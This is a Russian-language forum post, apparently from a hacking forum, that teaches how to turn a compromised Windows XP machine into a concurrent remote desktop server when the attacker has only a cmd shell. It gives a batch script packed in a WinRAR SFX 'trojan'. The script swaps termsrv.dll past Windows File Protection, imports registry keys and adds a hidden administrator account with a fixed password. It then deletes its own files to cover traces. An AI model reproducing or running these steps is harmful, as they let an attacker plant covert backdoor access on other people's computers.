Vortex777
Интересующийся
- Регистрация
- 27.06.2022
- Сообщения
- 98
- Реакции
- 0
- Гарант продажи
- 0
- Гарант покупки
- 0
- Депозит
- 0 р
Предисловие.
Многие знают, что из WIN-XP можно сделать сервер терминалов и подключаться по сети к удалённому рабочему столу удалённо, работая в отдельной ссесии с графическим интерфейсом, при этом не отключая локального пользователя. То есть в итоге мы получаем возможность входа ещё одного пользователя в систему, только удалённого.
В случае прямого доступа к компьютеру это сделать несложно, заменив одну dll (termsrv.dll), настроив политики безопасности, разрешив удалённый рабочий стол и т. д.
Наша задача провернуть всё это удалённо, имея только cmd-шелл.
1. Подготовка
Нам потребуется сама termsrv.dll от старой версии (не помню какой бетты) 5.1.2600.2055 - такая у меня, прямые руки и мозги в голове.
Обратимся к статейке (не помню кто автор, откопаю ссылку-выложу тут, позже):
2. Сборка трояна (down-patch`а)Все знают, что XP позволяет работать терминальной сессией (mstsc.exe), но при этом можно работать или локально или удаленно.
А мы ХОЧИМ, как в серверных виндах! Не проблема:
...статья описывает возможность одновременной работы двух пользователей за компьютером с ОС Microsoft Windows XP SP2.
В этом случае один из них работает за компьютером локально, то есть пользуется консольной сессией, а второй подключается
по протоколу RDP (Remote Desktop Protocol - Удалённое подключение к рабочему столу). Данный механизм задействует Fast User Switching
включается в <Управлении пользователями> в Контрольной панели) - это служба, которая предоставляет широко используемую возможность
попеременной работы нескольких пользователей без завершения сеанса. Если Windows входит в домен, то Fast User Switching недоступна и,
следовательно, одновременные пользовательские сесии тоже работать не будут. Эта функция планировалась для Windows XP Service Pack 2
и присутствовала в бета-версиях SP2 вплоть до сборки 2055. Однако позже Microsoft решила, что жирновато будет включать фактически
серверную функцию в ОС для рабочих станций, и начиная со сборки 2082 возможность одновременных подключений была отключена.
Если взять TermSrv.dll от бета-версии Windows XP SP2 и заменить ею исходную, то функция двух одновременных сеансов становится вновь доступна.
Для её включения требуется внести изменения в реестр при помощи прилагаемого key.reg.
Процедура замены dll стандартна:
делаем недоступным дистрибутив Windows (то есть вынимаем установочный CD из дисковода, отключаем/переименовываем сетевые ресурсы и так далее);
переименовываем резервную копию файла, находящуюся в папке %WinDir%\System32\DLLCache;
копируем туда новый файл;
переименовываем рабочую копию файла в папке %WinDir%\System32;
копируем на её место новый файл;
отклоняем просьбу Windows File Protection предоставить доступ к дистрибутиву;
соглашаемся держать в системе постороннюю версию файла;
перезагружаемся.
Наслаждайтесь, мои маленькие!
Итак приступим к сборке трояна от Meлкомягких:
Ну вот, нужная инфа у нас есть. Используем обычный SFX-архив WinRAR, чтоб положить туда три файла:
termsrv.dll - наша dll
key.reg - файл настроек сервера терминалов
run.cmd - сценарий, который сделает всё необходимое.
Определимся с путём куда будет распаковываться наш архив. Я выбрал %WinDir%\Temp (есть у любой винды)
Можно начинать писать файл run.cmd (ему мы передадим управление после распаковки SFX-архива)
Заменить залоченную termsrv.dll, перезаписав её у нас не получится, но мы можем её переименовать!
Так же не забудем про то, что она может быть легко восстановлена службой System File Protection из dll - кэша, поэтому, заменим её и там (она не залочена) а в system32 уже можно скопировать под оригинальным именем.ren %SystemRoot%\system32\termsrv.dll termsrv.old - переименовываем оригинал
далее:copy %SystemRoot%\temp\termsrv.dll %SystemRoot%\system32\DLLCache\termsrv.dll - копируем в dll-кэш
copy %SystemRoot%\temp\termsrv.dll %SystemRoot%\system32\termsrv.dll - копируем в систем32
Готовим файл key.regreg import key.reg - импортируем настройки из файла key.reg в реестр (о его содержании чуть ниже)
del %SystemRoot%\system32\termsrv.old - пытаемся удалить старую dll (не получится - залочена)
del %SystemRoot%\temp\termsrv.dll - удаляем за собой следы из Temp`a
del %SystemRoot%\temp\key.reg - удаляем за собой следы из Temp`a
net user asdf 1234 /add /expires:never /times:all - добавляем пользователя asdf, пароль 1234 (будем подключаться такой учёткой)
net localgroup "Администраторы" asdf /add - делаем его админом (естественно "Администраторы" - должно быть набрано в DOS 866-кодировке)
del %SystemRoot%\temp\run.cmd - удаляем этот исполненный сценарий.
Берём нашу винду, запускаем regedit и экспортируем реестр. Далее делаем все настройки удалённого рабочего стола.
а) разрешаем его: Свойства системы -> Удалённые сеансы -> Разрешить удалённый доступ к этому компьютеру. (ставим галку)
б) разрешаем быстрое переключение пользователей: Учётные записи пользователей-> Изменение входа пользователей в систему ставим обе галки (использовать страницу приветствия, разрешить быстрое переключение пользователей)
Кстати, надо сделать чтоб наш пользователь не отображался в этом приветствии, так как это сразу палево, поэтому сделаем его скрытым: